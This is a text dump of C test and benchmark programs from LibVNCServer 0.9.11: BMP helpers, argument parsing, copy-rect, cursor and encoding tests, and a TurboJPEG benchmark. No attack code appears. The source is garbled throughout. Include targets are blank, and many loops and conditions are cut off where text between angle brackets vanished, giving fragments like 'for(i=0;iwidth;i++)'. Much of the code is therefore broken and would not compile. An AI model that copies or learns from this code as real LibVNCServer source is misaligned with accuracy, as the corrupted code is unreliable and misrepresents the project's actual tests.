bh.biXPelsPerMeter=byteswap(bh.biXPelsPerMeter); bh.biYPelsPerMeter=byteswap(bh.biYPelsPerMeter); bh.biClrUsed=byteswap(bh.biClrUsed); bh.biClrImportant=byteswap(bh.biClrImportant); } writeme(fd, &bh.bfType, sizeof(unsigned short)); writeme(fd, &bh.bfSize, sizeof(unsigned int)); writeme(fd, &bh.bfReserved1, sizeof(unsigned short)); writeme(fd, &bh.bfReserved2, sizeof(unsigned short)); writeme(fd, &bh.bfOffBits, sizeof(unsigned int)); writeme(fd, &bh.biSize, sizeof(unsigned int)); writeme(fd, &bh.biWidth, sizeof(int)); writeme(fd, &bh.biHeight, sizeof(int)); writeme(fd, &bh.biPlanes, sizeof(unsigned short)); writeme(fd, &bh.biBitCount, sizeof(unsigned short)); writeme(fd, &bh.biCompression, sizeof(unsigned int)); writeme(fd, &bh.biSizeImage, sizeof(unsigned int)); writeme(fd, &bh.biXPelsPerMeter, sizeof(int)); writeme(fd, &bh.biYPelsPerMeter, sizeof(int)); writeme(fd, &bh.biClrUsed, sizeof(unsigned int)); writeme(fd, &bh.biClrImportant, sizeof(unsigned int)); if((tempbuf=(unsigned char *)malloc(dstpitch*h))==NULL) _throw("Memory allocation error"); pixelconvert(buf, f, srcpitch, tempbuf, BMP_BGR, dstpitch, w, h, !srcbottomup); if((byteswritten=write(fd, tempbuf, dstpitch*h))!=dstpitch*h) _throw(strerror(errno)); finally: if(tempbuf) free(tempbuf); if(fd!=-1) close(fd); return retcode; } const char *bmpgeterr(void) { return __bmperr; } libvncserver-LibVNCServer-0.9.11/test/bmp.h000066400000000000000000000031371303145525000204600ustar00rootroot00000000000000/* Copyright (C)2004 Landmark Graphics Corporation * Copyright (C)2005 Sun Microsystems, Inc. * Copyright (C)2011 D. R. Commander * * This library is free software and may be redistributed and/or modified under * the terms of the wxWindows Library License, Version 3.1 or (at your option) * any later version. The full license is in the LICENSE.txt file included * with this distribution. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * wxWindows Library License for more details. */ /* This provides rudimentary facilities for loading and saving true color */ /* BMP and PPM files */ #ifndef __BMP_H__ #define __BMP_H__ #define BMPPIXELFORMATS 6 enum BMPPIXELFORMAT {BMP_RGB=0, BMP_RGBX, BMP_BGR, BMP_BGRX, BMP_XBGR, BMP_XRGB}; #ifdef __cplusplus extern "C" { #endif /* * This will load a Windows bitmap from a file and return a buffer with the * specified pixel format, scanline alignment, and orientation. The width and * height are returned in w and h. */ int loadbmp(char *filename, unsigned char **buf, int *w, int *h, enum BMPPIXELFORMAT f, int align, int dstbottomup); /* * This will save a buffer with the specified pixel format, pitch, orientation, * width, and height as a 24-bit Windows bitmap or PPM (the filename determines * which format to use) */ int savebmp(char *filename, unsigned char *buf, int w, int h, enum BMPPIXELFORMAT f, int srcpitch, int srcbottomup); const char *bmpgeterr(void); #ifdef __cplusplus } #endif #endif libvncserver-LibVNCServer-0.9.11/test/cargstest.c000066400000000000000000000014171303145525000216730ustar00rootroot00000000000000#include int main(int argc,char** argv) { int fake_argc=6; char* fake_argv[6]={ "dummy_program","-alwaysshared","-httpport","3002","-nothing","-dontdisconnect" }; rfbScreenInfoPtr screen; rfbBool ret=0; screen = rfbGetScreen(&fake_argc,fake_argv,1024,768,8,3,1); if(!screen) return 0; #define CHECK(a,b) if(screen->a!=b) { fprintf(stderr,#a " is %d (should be " #b ")\n",screen->a); ret=1; } CHECK(width,1024); CHECK(height,768); CHECK(alwaysShared,TRUE); CHECK(httpPort,3002); CHECK(dontDisconnect,TRUE); if(fake_argc!=2) { fprintf(stderr,"fake_argc is %d (should be 2)\n",fake_argc); ret=1; } if(strcmp(fake_argv[1],"-nothing")) { fprintf(stderr,"fake_argv[1] is %s (should be -nothing)\n",fake_argv[1]); ret=1; } return ret; } libvncserver-LibVNCServer-0.9.11/test/copyrecttest.c000066400000000000000000000024321303145525000224220ustar00rootroot00000000000000#ifdef __STRICT_ANSI__ #define _BSD_SOURCE #endif #include #include static void initBackground(rfbScreenInfoPtr server) { unsigned int i,j; for(i=0;iwidth;i++) for(j=0;jheight;j++) { server->frameBuffer[(j*server->width+i)*4+0]=i&0xff; server->frameBuffer[(j*server->width+i)*4+1]=j&0xff; server->frameBuffer[(j*server->width+i)*4+2]=(i*j)&0xff; } } int main(int argc,char** argv) { int width=400,height=300,w=20,x,y; double r,phi=0; rfbScreenInfoPtr server=rfbGetScreen(&argc,argv,width,height,8,3,4); if(!server) return 0; server->frameBuffer=(char*)malloc(width*height*4); initBackground(server); server->deferUpdateTime=0; rfbInitServer(server); r=0; while(1) { if(r<=0) { initBackground(server); rfbMarkRectAsModified(server,0,0,width,height); r=0.43; phi=0; } else { r-=0.0001; phi+=0.02; if(phi>2*M_PI) phi-=2*M_PI; } x=width*(0.5+cos(phi)*r); y=height*(0.5+sin(phi)*r); if(x>=0 && y>=0 && x+w<=width && y+w<=height) { unsigned int dx=width*0.5*(1-cos(phi)*r)-x, dy=height*0.5*(1-sin(phi)*r)-y; rfbDoCopyRect(server,x,y,x+w,y+w,-dx,-dy); } rfbProcessEvents(server,50000); } return(0); } libvncserver-LibVNCServer-0.9.11/test/cursortest.c000066400000000000000000000201131303145525000221030ustar00rootroot00000000000000/* * * This is an example of how to use libvncserver. * * libvncserver example * Copyright (C) 2005 Johannes E. Schindelin , * Karl Runge * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #include static const int bpp=4; static int maxx=800, maxy=600; /* This initializes a nice (?) background */ static void initBuffer(unsigned char* buffer) { int i,j; for(j=0;jxhot=width/2;c->yhot=height/2; rfbSetCursor(rfbScreen, c); } static void SetXCursor2(rfbScreenInfoPtr rfbScreen) { int width=13,height=22; char cursor[]= " xx " " x x " " x x " " x x " " x x " " x x " " x x " " x x " " x xx x " " x x x xxx " " x xx x x " " xx x x " " xx x x " " x x x " " x x x " " x x " " x x " " x x " " xx " " " " ", mask[]= "xxx " "xxxx " "xxxxx " "xxxxxx " "xxxxxxx " "xxxxxxxx " "xxxxxxxxx " "xxxxxxxxxx " "xxxxxxxxxxx " "xxxxxxxxxxxx " "xxxxxxxxxxxxx" "xxxxxxxxxxxxx" "xxxxxxxxxx x" "xxxxxxxxxx " "xxx xxxxxx " "xxx xxxxxx " "xx xxxxxx " " xxxxx " " xxxxxx" " xxxxx" " xxx " " "; rfbCursorPtr c; c=rfbMakeXCursor(width,height,cursor,mask); c->xhot=0;c->yhot=0; rfbSetCursor(rfbScreen, c); } /* Example for a rich cursor (full-colour) */ static void SetRichCursor(rfbScreenInfoPtr rfbScreen) { int i,j,w=32,h=32; /* runge */ /* rfbCursorPtr c = rfbScreen->cursor; */ rfbCursorPtr c; char bitmap[]= " " " xxxxxx " " xxxxxxxxxxxxxxxxx " " xxxxxxxxxxxxxxxxxxxxxx " " xxxxx xxxxxxxx xxxxxxxx " " xxxxxxxxxxxxxxxxxxxxxxxxxxx " " xxxxxxxxxxxxxxxxxxxxxxxxxxxxx " " xxxxx xxxxxxxxxxx xxxxxxx " " xxxx xxxxxxxxx xxxxxx " " xxxxx xxxxxxxxxxx xxxxxxx " " xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx " " xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx " " xxxxxxxxxxxx xxxxxxxxxxxxxxx " " xxxxxxxxxxxxxxxxxxxxxxxxxxxx " " xxxxxxxxxxxxxxxxxxxxxxxxxxxx " " xxxxxxxxxxx xxxxxxxxxxxxxx " " xxxxxxxxxx xxxxxxxxxxxx " " xxxxxxxxx xxxxxxxxx " " xxxxxxxxxx xxxxxxxxx " " xxxxxxxxxxxxxxxxxxx " " xxxxxxxxxxxxxxxxxxx " " xxxxxxxxxxxxxxxxxxx " " xxxxxxxxxxxxxxxxx " " xxxxxxxxxxxxxxx " " xxxx xxxxxxxxxxxxx " " xx x xxxxxxxxxxx " " xxx xxxxxxxxxxx " " xxxx xxxxxxxxxxx " " xxxxxx xxxxxxxxxxxx " " xxxxxxxxxxxxxxxxxxxxxx " " xxxxxxxxxxxxxxxx " " "; c=rfbMakeXCursor(w,h,bitmap,bitmap); c->xhot = 16; c->yhot = 24; c->richSource = (char*)malloc(w*h*bpp); for(j=0;jrichSource[j*w*bpp+i*bpp+0]=i*0xff/w; c->richSource[j*w*bpp+i*bpp+1]=(i+j)*0xff/(w+h); c->richSource[j*w*bpp+i*bpp+2]=j*0xff/h; c->richSource[j*w*bpp+i*bpp+3]=0; } } rfbSetCursor(rfbScreen, c); } /* runge */ static void SetRichCursor2(rfbScreenInfoPtr rfbScreen) { int i,j,w=17,h=16; /* rfbCursorPtr c = rfbScreen->cursor; */ rfbCursorPtr c; char bitmap[]= " " "xxxx " "xxxxxxxx " "xxxxxxxxxxxx x" "xxx xxxxxxxx x" "xxxxxxxxxxxxxx x" "xxxxxxxxxxxxxxx x" "xxxxx xxxxxxx x" "xxxx xxxxxx x" "xxxxx xxxxxxx x" "xxxxxxxxxxxxxxx x" "xxxxxxxxxxxxxxx x" "xxxxxxxxxxxxxx x" "xxxxxxxxxxxxx x" "xxxxxxxxxxxxx x" "xxxxxxxxxxxxx x"; /* c=rfbScreen->cursor = rfbMakeXCursor(w,h,bitmap,bitmap); */ c=rfbMakeXCursor(w,h,bitmap,bitmap); c->xhot = 5; c->yhot = 7; c->richSource = (char*)malloc(w*h*bpp); for(j=0;jrichSource[j*w*bpp+i*bpp+0]=0xff; c->richSource[j*w*bpp+i*bpp+1]=0x00; c->richSource[j*w*bpp+i*bpp+2]=0x7f; c->richSource[j*w*bpp+i*bpp+3]=0; } } rfbSetCursor(rfbScreen, c); } /* alpha channel */ static void SetAlphaCursor(rfbScreenInfoPtr screen,int mode) { int i,j; rfbCursorPtr c = screen->cursor; int maskStride=(c->width+7)/8; if(!c) return; if(c->alphaSource) { free(c->alphaSource); c->alphaSource=NULL; } if(mode==0) return; c->alphaSource = (unsigned char*)malloc(c->width*c->height); for(j=0;jheight;j++) for(i=0;iwidth;i++) { unsigned char value=0x100*i/c->width; rfbBool masked=(c->mask[(i/8)+maskStride*j]<<(i&7))&0x80; c->alphaSource[i+c->width*j]=(masked?(mode==1?value:0xff-value):0); } if(c->cleanupMask) free(c->mask); c->mask=rfbMakeMaskFromAlphaSource(c->width,c->height,c->alphaSource); c->cleanupMask=TRUE; } /* Here the pointer events are handled */ static void doptr(int buttonMask,int x,int y,rfbClientPtr cl) { static int oldButtonMask=0; static int counter=0; if((oldButtonMask&1)==0 && (buttonMask&1)==1) { switch(++counter) { case 7: SetRichCursor(cl->screen); SetAlphaCursor(cl->screen,2); break; case 6: SetRichCursor(cl->screen); SetAlphaCursor(cl->screen,1); break; case 5: SetRichCursor2(cl->screen); SetAlphaCursor(cl->screen,0); break; case 4: SetXCursor(cl->screen); break; case 3: SetRichCursor2(cl->screen); SetAlphaCursor(cl->screen,2); break; case 2: SetXCursor(cl->screen); SetAlphaCursor(cl->screen,2); break; case 1: SetXCursor2(cl->screen); SetAlphaCursor(cl->screen,0); break; default: SetRichCursor(cl->screen); counter=0; } } if(buttonMask&2) { rfbScreenCleanup(cl->screen); exit(0); } if(buttonMask&4) rfbCloseClient(cl); oldButtonMask=buttonMask; rfbDefaultPtrAddEvent(buttonMask,x,y,cl); } /* Initialization */ int main(int argc,char** argv) { rfbScreenInfoPtr rfbScreen = rfbGetScreen(&argc,argv,maxx,maxy,8,3,bpp); if(!rfbScreen) return 0; rfbScreen->desktopName = "Cursor Test"; rfbScreen->frameBuffer = (char*)malloc(maxx*maxy*bpp); rfbScreen->ptrAddEvent = doptr; initBuffer((unsigned char*)rfbScreen->frameBuffer); SetRichCursor(rfbScreen); /* initialize the server */ rfbInitServer(rfbScreen); rfbLog("Change cursor shape with left mouse button,\n\t" "quit with right one (middle button quits server).\n"); /* this is the blocking event loop, i.e. it never returns */ /* 40000 are the microseconds to wait on select(), i.e. 0.04 seconds */ rfbRunEventLoop(rfbScreen,40000,FALSE); free(rfbScreen->frameBuffer); rfbScreenCleanup(rfbScreen); return(0); } libvncserver-LibVNCServer-0.9.11/test/encodingstest.c000066400000000000000000000203051303145525000225420ustar00rootroot00000000000000#ifdef __STRICT_ANSI__ #define _BSD_SOURCE #endif #include #include #include #include #ifndef LIBVNCSERVER_HAVE_LIBPTHREAD #error This test need pthread support (otherwise the client blocks the client) #endif #define ALL_AT_ONCE /*#define VERY_VERBOSE*/ static MUTEX(frameBufferMutex); typedef struct { int id; char* str; } encoding_t; static encoding_t testEncodings[]={ { rfbEncodingRaw, "raw" }, { rfbEncodingRRE, "rre" }, { rfbEncodingCoRRE, "corre" }, { rfbEncodingHextile, "hextile" }, { rfbEncodingUltra, "ultra" }, #ifdef LIBVNCSERVER_HAVE_LIBZ { rfbEncodingZlib, "zlib" }, { rfbEncodingZlibHex, "zlibhex" }, { rfbEncodingZRLE, "zrle" }, { rfbEncodingZYWRLE, "zywrle" }, #ifdef LIBVNCSERVER_HAVE_LIBJPEG { rfbEncodingTight, "tight" }, #endif #endif { 0, NULL } }; #define NUMBER_OF_ENCODINGS_TO_TEST (sizeof(testEncodings)/sizeof(encoding_t)-1) /*#define NUMBER_OF_ENCODINGS_TO_TEST 1*/ /* Here come the variables/functions to handle the test output */ static const int width=400,height=300; static unsigned int statistics[2][NUMBER_OF_ENCODINGS_TO_TEST]; static unsigned int totalFailed,totalCount; static unsigned int countGotUpdate; static MUTEX(statisticsMutex); static void initStatistics(void) { memset(statistics[0],0,sizeof(int)*NUMBER_OF_ENCODINGS_TO_TEST); memset(statistics[1],0,sizeof(int)*NUMBER_OF_ENCODINGS_TO_TEST); totalFailed=totalCount=0; INIT_MUTEX(statisticsMutex); } static void updateStatistics(int encodingIndex,rfbBool failed) { LOCK(statisticsMutex); if(failed) { statistics[1][encodingIndex]++; totalFailed++; } statistics[0][encodingIndex]++; totalCount++; countGotUpdate++; UNLOCK(statisticsMutex); } /* Here begin the functions for the client. They will be called in a * pthread. */ /* maxDelta=0 means they are expected to match exactly; * maxDelta>0 means that the average difference must be lower than maxDelta */ static rfbBool doFramebuffersMatch(rfbScreenInfo* server,rfbClient* client, int maxDelta) { int i,j,k; unsigned int total=0,diff=0; if(server->width!=client->width || server->height!=client->height) return FALSE; LOCK(frameBufferMutex); /* TODO: write unit test for colour transformation, use here, too */ for(i=0;iwidth;i++) for(j=0;jheight;j++) for(k=0;k<3/*server->serverFormat.bitsPerPixel/8*/;k++) { unsigned char s=server->frameBuffer[k+i*4+j*server->paddedWidthInBytes]; unsigned char cl=client->frameBuffer[k+i*4+j*client->width*4]; if(maxDelta==0 && s!=cl) { UNLOCK(frameBufferMutex); return FALSE; } else { total++; diff+=(s>cl?s-cl:cl-s); } } UNLOCK(frameBufferMutex); if(maxDelta>0 && diff/total>=maxDelta) return FALSE; return TRUE; } static rfbBool resize(rfbClient* cl) { if(cl->frameBuffer) free(cl->frameBuffer); cl->frameBuffer=malloc(cl->width*cl->height*cl->format.bitsPerPixel/8); if(!cl->frameBuffer) return FALSE; SendFramebufferUpdateRequest(cl,0,0,cl->width,cl->height,FALSE); return TRUE; } typedef struct clientData { int encodingIndex; rfbScreenInfo* server; char* display; } clientData; static void update(rfbClient* client,int x,int y,int w,int h) { #ifndef VERY_VERBOSE static const char* progress="|/-\\"; static int counter=0; if(++counter>sizeof(progress)) counter=0; fprintf(stderr,"%c\r",progress[counter]); #else clientData* cd=(clientData*)client->clientData; rfbClientLog("Got update (encoding=%s): (%d,%d)-(%d,%d)\n", testEncodings[cd->encodingIndex].str, x,y,x+w,y+h); #endif } static void update_finished(rfbClient* client) { clientData* cd=(clientData*)client->clientData; int maxDelta=0; #ifdef LIBVNCSERVER_HAVE_LIBZ if(testEncodings[cd->encodingIndex].id==rfbEncodingZYWRLE) maxDelta=5; #ifdef LIBVNCSERVER_HAVE_LIBJPEG if(testEncodings[cd->encodingIndex].id==rfbEncodingTight) maxDelta=5; #endif #endif updateStatistics(cd->encodingIndex, !doFramebuffersMatch(cd->server,client,maxDelta)); } static void* clientLoop(void* data) { rfbClient* client=(rfbClient*)data; clientData* cd=(clientData*)client->clientData; client->appData.encodingsString=strdup(testEncodings[cd->encodingIndex].str); client->appData.qualityLevel = 7; /* ZYWRLE fails the test with standard settings */ sleep(1); rfbClientLog("Starting client (encoding %s, display %s)\n", testEncodings[cd->encodingIndex].str, cd->display); if(!rfbInitClient(client,NULL,NULL)) { rfbClientErr("Had problems starting client (encoding %s)\n", testEncodings[cd->encodingIndex].str); updateStatistics(cd->encodingIndex,TRUE); return NULL; } while(1) { if(WaitForMessage(client,50)>=0) if(!HandleRFBServerMessage(client)) break; } free(((clientData*)client->clientData)->display); free(client->clientData); client->clientData = NULL; if(client->frameBuffer) free(client->frameBuffer); rfbClientCleanup(client); return NULL; } static pthread_t all_threads[NUMBER_OF_ENCODINGS_TO_TEST]; static int thread_counter; static void startClient(int encodingIndex,rfbScreenInfo* server) { rfbClient* client=rfbGetClient(8,3,4); clientData* cd; client->clientData=malloc(sizeof(clientData)); client->MallocFrameBuffer=resize; client->GotFrameBufferUpdate=update; client->FinishedFrameBufferUpdate=update_finished; cd=(clientData*)client->clientData; cd->encodingIndex=encodingIndex; cd->server=server; cd->display=(char*)malloc(6); sprintf(cd->display,":%d",server->port-5900); pthread_create(&all_threads[thread_counter++],NULL,clientLoop,(void*)client); } /* Here begin the server functions */ static void idle(rfbScreenInfo* server) { int c; rfbBool goForward; LOCK(statisticsMutex); #ifdef ALL_AT_ONCE goForward=(countGotUpdate==NUMBER_OF_ENCODINGS_TO_TEST); #else goForward=(countGotUpdate==1); #endif UNLOCK(statisticsMutex); if(!goForward) return; countGotUpdate=0; LOCK(frameBufferMutex); { int i,j; int x1=(rand()%(server->width-1)),x2=(rand()%(server->width-1)), y1=(rand()%(server->height-1)),y2=(rand()%(server->height-1)); if(x1>x2) { i=x1; x1=x2; x2=i; } if(y1>y2) { i=y1; y1=y2; y2=i; } x2++; y2++; for(c=0;c<3;c++) { for(i=x1;iframeBuffer[i*4+c+j*server->paddedWidthInBytes]=255*(i-x1+j-y1)/(x2-x1+y2-y1); } rfbMarkRectAsModified(server,x1,y1,x2,y2); #ifdef VERY_VERBOSE rfbLog("Sent update (%d,%d)-(%d,%d)\n",x1,y1,x2,y2); #endif } UNLOCK(frameBufferMutex); } /* log function (to show what messages are from the client) */ static void rfbTestLog(const char *format, ...) { va_list args; char buf[256]; time_t log_clock; if(!rfbEnableClientLogging) return; va_start(args, format); time(&log_clock); strftime(buf, 255, "%d/%m/%Y %X (client) ", localtime(&log_clock)); fprintf(stderr,"%s",buf); vfprintf(stderr, format, args); fflush(stderr); va_end(args); } /* the main function */ int main(int argc,char** argv) { int i,j; time_t t; rfbScreenInfoPtr server; rfbClientLog=rfbTestLog; rfbClientErr=rfbTestLog; /* Initialize server */ server=rfbGetScreen(&argc,argv,width,height,8,3,4); if(!server) return 0; server->frameBuffer=malloc(400*300*4); server->cursor=NULL; for(j=0;j<400*300*4;j++) server->frameBuffer[j]=j; rfbInitServer(server); rfbProcessEvents(server,0); initStatistics(); #ifndef ALL_AT_ONCE for(i=0;iframeBuffer); rfbScreenCleanup(server); rfbLog("Statistics:\n"); for(i=0;i #include #include #include #include #include "./bmp.h" #include "./tjutil.h" #include "./turbojpeg.h" #define _throw(op, err) { \ printf("ERROR in line %d while %s:\n%s\n", __LINE__, op, err); \ (void)retval; /* silence warning */ \ retval=-1; goto bailout;} #define _throwunix(m) _throw(m, strerror(errno)) #define _throwtj(m) _throw(m, tjGetErrorStr()) #define _throwbmp(m) _throw(m, bmpgeterr()) int flags=0, decomponly=0, quiet=0, dotile=0, pf=TJPF_BGR; char *ext="ppm"; const char *pixFormatStr[TJ_NUMPF]= { "RGB", "BGR", "RGBX", "BGRX", "XBGR", "XRGB", "GRAY" }; const int bmpPF[TJ_NUMPF]= { BMP_RGB, BMP_BGR, BMP_RGBX, BMP_BGRX, BMP_XBGR, BMP_XRGB, -1 }; const char *subNameLong[TJ_NUMSAMP]= { "4:4:4", "4:2:2", "4:2:0", "GRAY", "4:4:0" }; const char *subName[NUMSUBOPT]={"444", "422", "420", "GRAY", "440"}; tjscalingfactor *scalingfactors=NULL, sf={1, 1}; int nsf=0; double benchtime=5.0; char *sigfig(double val, int figs, char *buf, int len) { char format[80]; int digitsafterdecimal=figs-(int)ceil(log10(fabs(val))); if(digitsafterdecimal<1) snprintf(format, 80, "%%.0f"); else snprintf(format, 80, "%%.%df", digitsafterdecimal); snprintf(buf, len, format, val); return buf; } /* Decompression test */ int decomptest(unsigned char *srcbuf, unsigned char **jpegbuf, unsigned long *jpegsize, unsigned char *dstbuf, int w, int h, int subsamp, int jpegqual, char *filename, int tilew, int tileh) { char tempstr[1024], sizestr[20]="\0", qualstr[6]="\0", *ptr; FILE *file=NULL; tjhandle handle=NULL; int row, col, i, dstbufalloc=0, retval=0; double start, elapsed; int ps=tjPixelSize[pf]; int bufsize; int scaledw=TJSCALED(w, sf); int scaledh=TJSCALED(h, sf); int pitch=scaledw*ps; int ntilesw=(w+tilew-1)/tilew, ntilesh=(h+tileh-1)/tileh; unsigned char *dstptr, *dstptr2; if(jpegqual>0) { snprintf(qualstr, 6, "_Q%d", jpegqual); qualstr[5]=0; } if((handle=tjInitDecompress())==NULL) _throwtj("executing tjInitDecompress()"); bufsize=pitch*scaledh; if(dstbuf==NULL) { if((dstbuf=(unsigned char *)malloc(bufsize)) == NULL) _throwunix("allocating image buffer"); dstbufalloc=1; } /* Set the destination buffer to gray so we know whether the decompressor attempted to write to it */ memset(dstbuf, 127, bufsize); /* Execute once to preload cache */ if(tjDecompress2(handle, jpegbuf[0], jpegsize[0], dstbuf, scaledw, pitch, scaledh, pf, flags)==-1) _throwtj("executing tjDecompress2()"); /* Benchmark */ for(i=0, start=gettime(); (elapsed=gettime()-start) Frame rate: %f fps\n", (double)i/elapsed); printf(" Dest. throughput: %f Megapixels/sec\n", (double)(w*h)/1000000.*(double)i/elapsed); } if(sf.num!=1 || sf.denom!=1) snprintf(sizestr, 20, "%d_%d", sf.num, sf.denom); else if(tilew!=w || tileh!=h) snprintf(sizestr, 20, "%dx%d", tilew, tileh); else snprintf(sizestr, 20, "full"); if(decomponly) snprintf(tempstr, 1024, "%s_%s.%s", filename, sizestr, ext); else snprintf(tempstr, 1024, "%s_%s%s_%s.%s", filename, subName[subsamp], qualstr, sizestr, ext); if(savebmp(tempstr, dstbuf, scaledw, scaledh, bmpPF[pf], pitch, (flags&TJFLAG_BOTTOMUP)!=0)==-1) _throwbmp("saving bitmap"); ptr=strrchr(tempstr, '.'); snprintf(ptr, 1024-(ptr-tempstr), "-err.%s", ext); if(srcbuf && sf.num==1 && sf.denom==1) { if(!quiet) printf("Compression error written to %s.\n", tempstr); if(subsamp==TJ_GRAYSCALE) { int index, index2; for(row=0, index=0; row255) y=255; if(y<0) y=0; dstbuf[rindex]=abs(dstbuf[rindex]-y); dstbuf[gindex]=abs(dstbuf[gindex]-y); dstbuf[bindex]=abs(dstbuf[bindex]-y); } } } else { for(row=0; row>>>> %s (%s) <--> JPEG %s Q%d <<<<<\n", pixFormatStr[pf], (flags&TJFLAG_BOTTOMUP)? "Bottom-up":"Top-down", subNameLong[subsamp], jpegqual); for(tilew=dotile? 8:w, tileh=dotile? 8:h; ; tilew*=2, tileh*=2) { if(tilew>w) tilew=w; if(tileh>h) tileh=h; ntilesw=(w+tilew-1)/tilew; ntilesh=(h+tileh-1)/tileh; if((jpegbuf=(unsigned char **)malloc(sizeof(unsigned char *) *ntilesw*ntilesh))==NULL) _throwunix("allocating JPEG tile array"); memset(jpegbuf, 0, sizeof(unsigned char *)*ntilesw*ntilesh); if((jpegsize=(unsigned long *)malloc(sizeof(unsigned long) *ntilesw*ntilesh))==NULL) _throwunix("allocating JPEG size array"); memset(jpegsize, 0, sizeof(unsigned long)*ntilesw*ntilesh); for(i=0; i Frame rate: %f fps\n", (double)i/elapsed); printf(" Output image size: %d bytes\n", totaljpegsize); printf(" Compression ratio: %f:1\n", (double)(w*h*ps)/(double)totaljpegsize); printf(" Source throughput: %f Megapixels/sec\n", (double)(w*h)/1000000.*(double)i/elapsed); printf(" Output bit stream: %f Megabits/sec\n", (double)totaljpegsize*8./1000000.*(double)i/elapsed); } if(tilew==w && tileh==h) { snprintf(tempstr, 1024, "%s_%s_Q%d.jpg", filename, subName[subsamp], jpegqual); if((file=fopen(tempstr, "wb"))==NULL) _throwunix("opening reference image"); if(fwrite(jpegbuf[0], jpegsize[0], 1, file)!=1) _throwunix("writing reference image"); fclose(file); file=NULL; if(!quiet) printf("Reference image written to %s\n", tempstr); } /* Decompression test */ if(decomptest(srcbuf, jpegbuf, jpegsize, tmpbuf, w, h, subsamp, jpegqual, filename, tilew, tileh)==-1) goto bailout; for(i=0; i>>>> JPEG %s --> %s (%s) <<<<<\n", subNameLong[subsamp], pixFormatStr[pf], (flags&TJFLAG_BOTTOMUP)? "Bottom-up":"Top-down"); } for(tilew=dotile? 16:w, tileh=dotile? 16:h; ; tilew*=2, tileh*=2) { if(tilew>w) tilew=w; if(tileh>h) tileh=h; ntilesw=(w+tilew-1)/tilew; ntilesh=(h+tileh-1)/tileh; if((jpegbuf=(unsigned char **)malloc(sizeof(unsigned char *) *ntilesw*ntilesh))==NULL) _throwunix("allocating JPEG tile array"); memset(jpegbuf, 0, sizeof(unsigned char *)*ntilesw*ntilesh); if((jpegsize=(unsigned long *)malloc(sizeof(unsigned long) *ntilesw*ntilesh))==NULL) _throwunix("allocating JPEG size array"); memset(jpegsize, 0, sizeof(unsigned long)*ntilesw*ntilesh); for(i=0; i %d x %d", TJSCALED(_w, sf), TJSCALED(_h, sf)); printf("\n"); } else if(quiet==1) { printf("%s\t%s\t%s\t", pixFormatStr[pf], (flags&TJFLAG_BOTTOMUP)? "BU":"TD", subNameLong[subsamp]); printf("%-4d %-4d\t", tilew, tileh); } _subsamp=subsamp; if(quiet==1) printf("N/A\tN/A\t"); jpegsize[0]=srcsize; memcpy(jpegbuf[0], srcbuf, srcsize); if(w==tilew) _tilew=_w; if(h==tileh) _tileh=_h; if(decomptest(NULL, jpegbuf, jpegsize, NULL, _w, _h, _subsamp, 0, filename, _tilew, _tileh)==-1) goto bailout; else if(quiet==1) printf("N/A\n"); for(i=0; i <%% Quality> [options]\n\n"); printf(" %s\n", progname); printf(" [options]\n\n"); printf("Options:\n\n"); printf("-bmp = Generate output images in Windows Bitmap format (default=PPM)\n"); printf("-bottomup = Test bottom-up compression/decompression\n"); printf("-tile = Test performance of the codec when the image is encoded as separate\n"); printf(" tiles of varying sizes.\n"); printf("-forcemmx, -forcesse, -forcesse2, -forcesse3 =\n"); printf(" Force MMX, SSE, SSE2, or SSE3 code paths in the underlying codec\n"); printf("-rgb, -bgr, -rgbx, -bgrx, -xbgr, -xrgb =\n"); printf(" Test the specified color conversion path in the codec (default: BGR)\n"); printf("-fastupsample = Use fast, inaccurate upsampling code to perform 4:2:2 and 4:2:0\n"); printf(" YUV decoding\n"); printf("-quiet = Output results in tabular rather than verbose format\n"); printf("-scale M/N = scale down the width/height of the decompressed JPEG image by a\n"); printf(" factor of M/N (M/N = "); for(i=0; i2) { if(i!=nsf-1) printf(", "); if(i==nsf-2) printf("or "); } } printf(")\n"); printf("-benchtime = Run each benchmark for at least seconds (default = 5.0)\n\n"); printf("NOTE: If the quality is specified as a range (e.g. 90-100), a separate\n"); printf("test will be performed for all quality values in the range.\n\n"); exit(1); } int main(int argc, char *argv[]) { unsigned char *srcbuf=NULL; int w, h, i, j; int minqual=-1, maxqual=-1; char *temp; int minarg=2; int retval=0; if((scalingfactors=tjGetScalingFactors(&nsf))==NULL || nsf==0) _throwtj("executing tjGetScalingFactors()"); if(argc100) { puts("ERROR: Quality must be between 1 and 100."); exit(1); } if((temp=strchr(argv[2], '-'))!=NULL && strlen(temp)>1 && sscanf(&temp[1], "%d", &maxqual)==1 && maxqual>minqual && maxqual>=1 && maxqual<=100) {} else maxqual=minqual; } if(argc>minarg) { for(i=minarg; i0.0) benchtime=temp; else usage(argv[0]); } if(!strcmp(argv[i], "-?")) usage(argv[0]); if(!strcasecmp(argv[i], "-bmp")) ext="bmp"; } } if((sf.num!=1 || sf.denom!=1) && dotile) { printf("Disabling tiled compression/decompression tests, because those tests do not\n"); printf("work when scaled decompression is enabled.\n"); dotile=0; } if(!decomponly) { if(loadbmp(argv[1], &srcbuf, &w, &h, bmpPF[pf], 1, (flags&TJFLAG_BOTTOMUP)!=0)==-1) _throwbmp("loading bitmap"); temp=strrchr(argv[1], '.'); if(temp!=NULL) *temp='\0'; } if(quiet==1 && !decomponly) { printf("All performance values in Mpixels/sec\n\n"); printf("Bitmap\tBitmap\tJPEG\tJPEG\t%s %s \tComp\tComp\tDecomp\n", dotile? "Tile ":"Image", dotile? "Tile ":"Image"); printf("Format\tOrder\tSubsamp\tQual\tWidth Height\tPerf \tRatio\tPerf\n\n"); } if(decomponly) { dodecomptest(argv[1]); printf("\n"); goto bailout; } for(i=maxqual; i>=minqual; i--) dotest(srcbuf, w, h, TJ_GRAYSCALE, i, argv[1]); printf("\n"); for(i=maxqual; i>=minqual; i--) dotest(srcbuf, w, h, TJ_420, i, argv[1]); printf("\n"); 